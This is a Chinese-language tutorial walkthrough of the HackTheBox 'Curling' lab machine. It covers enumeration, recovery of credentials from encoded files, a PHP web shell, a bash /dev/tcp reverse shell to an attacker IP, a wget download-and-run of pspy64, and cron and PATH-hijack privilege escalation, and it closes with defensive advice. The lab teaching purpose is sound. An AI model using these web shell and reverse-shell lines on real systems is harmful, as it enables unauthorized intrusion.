HacktheBox之Curling靶机
字数 1638 2025-08-12 12:08:15
HackTheBox Curling 靶机渗透测试教学文档
信息收集阶段
1. 初始扫描
- 使用nmap进行端口扫描,发现目标主机开放了SSH和Web服务
- 典型命令:
nmap -sV -sC -oA initial_scan <target_ip>
2. Web服务枚举
- 访问Web服务发现一个人名(可能是用户名)
- 使用目录扫描工具(如dirb、gobuster)发现
/administrator目录- 命令示例:
gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt
- 命令示例:
3. 源码分析
- 查看页面源码发现
secret.txt文件 - 访问该文件获取base64编码的字符串
- 解码base64字符串(可能是密码)
- 命令:
echo "base64_string" | base64 -d
- 命令:
4. 后台登录
- 使用发现的人名和base64解码后的字符串尝试登录
/administrator页面 - 成功登录后发现可以访问Templates目录中的源码
漏洞利用阶段
1. Web Shell上传
- 在后台找到可以编辑
index.php文件的功能 - 修改源码写入Web Shell
- 典型PHP Web Shell:
<?php system($_GET['cmd']); ?>
- 典型PHP Web Shell:
- 或者利用curl命令写入Web Shell
- 命令示例:
curl -X POST -d "param=<?php system($_GET['cmd']); ?>" http://<target_ip>/path/to/vulnerable/endpoint
- 命令示例:
2. 初始访问
- 通过Web Shell执行命令获取反向Shell
- 使用nc或bash创建反向连接
- 示例:
bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'
权限提升(floris用户)
1. 密码文件发现
- 在
/home/floris目录中发现密码备份文件 - 文件可能是十六进制格式
2. 密码文件解码
- 将文件复制到
/tmp目录 - 使用
xxd命令还原文件内容- 命令:
xxd -r password_backup.hex > password.txt
- 命令:
- 查看解码后的文件获取floris用户的密码
3. 切换用户
- 使用获得的密码切换到floris用户
- 命令:
su floris
- 命令:
权限提升(root用户)
1. 进程监控
- 下载并使用
pspy64监控目标主机的进程- 命令:
wget http://<your_ip>/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
- 命令:
- 发现目标主机定期运行某些命令或cron作业
2. Cron作业利用
- 发现系统正在运行crontab相关的命令
- 复制crontab程序到可写目录
- 命令:
cp /usr/bin/crontab /tmp/evil_crontab
- 命令:
- 编辑恶意crontab程序,包含提权代码
3. 设置环境变量
- 创建恶意的input文件,指向攻击者控制的地址
- 设置PATH环境变量优先查找/tmp目录
- 命令:
export PATH=/tmp:$PATH
- 命令:
4. 获取root权限
- 等待cron作业执行
- 恶意crontab程序被执行后获取root权限
关键要点总结
- 信息收集要彻底:特别是源码分析和隐藏文件的发现
- 凭证重用:发现的用户名和密码可能在多个服务中有效
- 文件格式识别:注意不同编码格式的文件(base64、十六进制等)
- 定时任务利用:监控系统进程是发现提权路径的重要手段
- 环境变量劫持:通过PATH环境变量操纵是常见的提权技术
防御建议
- 避免在源码中存储敏感信息
- 限制后台管理界面的文件编辑功能
- 使用强密码并避免密码重用
- 定期检查cron作业和系统进程
- 限制关键目录的写权限(如/tmp)